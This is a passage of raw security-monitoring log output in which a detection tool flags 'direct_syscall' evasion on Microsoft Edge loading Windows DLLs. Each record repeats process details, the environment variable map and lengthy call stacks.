ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:18908 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18908_DUHIKGAJBSDGLROT EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1112 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"JMrTvsAw5+gimjH5iy53okiyxdLGWjk5amh7x6Qp6I4=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"EZD+RsC+C6sK5+pd5lEZo6R4DpX4Wy0iLze9Mcr8g18=" EFC_8664_1262719628:1 EFC_8664_1592913036:1 EFC_8664_2283032206:1 EFC_8664_2775293581:1 EFC_8664_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45ab44fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffa45c1d25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45a6923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a68af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a6966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffa45a6a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffa1bffd940 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bffbb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bffa59c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c006d97 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c0106d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa4573ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa4573a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa45739c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:14:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1649587 + Pid: 18908 + Tid: 19508 + Type: LoadImage + CPU: 1 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:14:52.2439448 +0100 CET + Params: base_address➜ 7ffa11f40000, checksum➜ 289238, default_address➜ 7ffa11f40000, file_path➜ C:\Windows\System32\aadWamExtension.dll, image_size➜ 229376, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 18908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 18908 + Ppid: 14948 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:18908 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18908_DUHIKGAJBSDGLROT EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1112 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"JMrTvsAw5+gimjH5iy53okiyxdLGWjk5amh7x6Qp6I4=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"EZD+RsC+C6sK5+pd5lEZo6R4DpX4Wy0iLze9Mcr8g18=" EFC_8664_1262719628:1 EFC_8664_1592913036:1 EFC_8664_2283032206:1 EFC_8664_2775293581:1 EFC_8664_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45ab44fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7ffa45c1d25a C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45a6923c C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a68af7 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a6966a C:\Windows\System32\combase.dll!CLSIDFromProgID|0x7ffa45a6a6c9 C:\Windows\System32\combase.dll!RoActivateInstance|0x7ffa1c0056d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bfc408f C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bfce3b9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bfcdb3c C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c046922 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffa1bff9dd1 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1bff89d9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00f09d C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa4573b686 C:\Windows\System32\SHCore.dll!SHTaskPoolQueueTask|0x7ffa1c03554e C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!DllCanUnloadNow|0x7ffa1c006a00 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00857b C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c008d67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c006f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c00dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c0106d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa4573ab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa4573a8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa45739c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7ffa44dce8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffa4604c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-26T14:14:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1654988 + Pid: 18908 + Tid: 19196 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-26 14:14:53.6329331 +0100 CET + Params: base_address➜ 7ffa35760000, checksum➜ 390456, default_address➜ 7ffa35760000, file_path➜ C:\Windows\System32\UserMgrProxy.dll, image_size➜ 393216, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 18908, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 18908 + Ppid: 14948 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:18908 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_18908_DUHIKGAJBSDGLROT EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1112 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"JMrTvsAw5+gimjH5iy53okiyxdLGWjk5amh7x6Qp6I4=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"EZD+RsC+C6sK5+pd5lEZo6R4DpX4Wy0iLze9Mcr8g18=" EFC_8664_1262719628:1 EFC_8664_1592913036:1 EFC_8664_2283032206:1 EFC_8664_2775293581:1 EFC_8664_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files (x86)\Microsoft\Edge\Application;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff806e5d42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff806e5c74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff806e5d48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff806e6272258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff806e6271ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff806e62690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff806e62621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff806e626179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff806e60b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7ffa00ea1014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ffa00cb3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa00cb3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7ffa45fc53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa45fc84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ffa45fc701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ffa46034294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ffa45fd63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fd6020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ffa45fffa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7ffa4314d29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7ffa45a97a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45a9759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7ffa45c1b8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cc5c C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c1cd65 C:\Windows\System32\combase.dll!Ordinal225|0x7ffa45c18fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7ffa45bb4304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7ffa45a8b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45a8a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7ffa45b5ff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7ffa45bf717e C:\Windows\System32\combase.dll!Ordinal130|0x7ffa45ab77fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45ab62ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7ffa45b08013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7ffa45aceef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7ffa45a674bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa45a66e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7ffa193c5723 C:\Windows\System32\vaultcli.dll!DllCanUnloadNow|0x7ffa1bfc883a C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ffa1c007d72 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7ff9d176579d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ff9d1767468 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CrashForExceptionInNonABICompliantCodeRange|0x7ff9caa2fd2d C:\Program Files 